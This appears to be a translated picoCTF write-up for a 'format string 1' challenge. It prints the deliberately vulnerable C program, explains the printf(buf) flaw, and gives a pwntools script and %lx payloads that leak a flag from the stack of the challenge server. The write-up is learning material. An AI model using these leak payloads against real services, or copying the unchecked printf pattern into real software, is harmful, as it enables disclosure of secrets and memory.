This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Format strings 1

pico
pwn

July 1, 20252 minutes

#include <stdio.h>


int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

3 files are read

  • flag.txt
  • secret-menu-item-1.txt
  • secret-menu-item-2.txt

And their contents are stored on the stack.

To debug it, we need to create them

echo "PICOCTF{TEST_FLAG}" > flag.txt
echo "A" > secret-menu-item-1.txt
echo "B" > secret-menu-item-2.txt

Later on, the program asks the user for input and then prints it with printf without specifying the type, which makes it vulnerable to format strings

  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);

To leak values from the stack with format strings, we are going to write a script that prints the values one by one

#!/usr/bin/env python3

from pwn import *
import time

HOST = "mimas.picoctf.net"
PORT = 53107

exe = ELF("./format-string-1_patched")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'warn'

gdb_script = '''
b main
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)

    return r

def main():
    for i in range(0, 100):
        try:
            r = conn()
            payload = f"%{i}$x"
            r.sendlineafter('to you:', payload)
            output = r.recvline()
            output = r.recvline().split(b"Here's your order: ")[1]
            print(f"{i}: {unhex(output)}")
        except:
            pass

if __name__ == "__main__":
    main()

With the script we manage to see the following

14: b'OCIP'
15: b'TSET'
16: b'\n}G'

Which would be:

  • 14: PICO
  • 15: TEST
  • 16: G}\n

It looks like the flag, but some parts are missing…

  • 14: PICO | CTF{
  • 15: TEST | _FLA
  • 16: G}\n

Positions 14 and 15 only give 4 characters each and 4 more are missing. That’s because we are using %14$x: x only shows 32 bits (4 characters), and this binary is 64-bit, so we have to use lx

14: b'{FTCOCIP'
15: b'ALF_TSET'
16: b'\x7f\xee\x00\n}G'

Now it works

Finally, all that is left is to check the values at the same positions, but on the picoCTF instance.

%14$lx,%15$lx,%16$lx,%17$lx,%18$lx....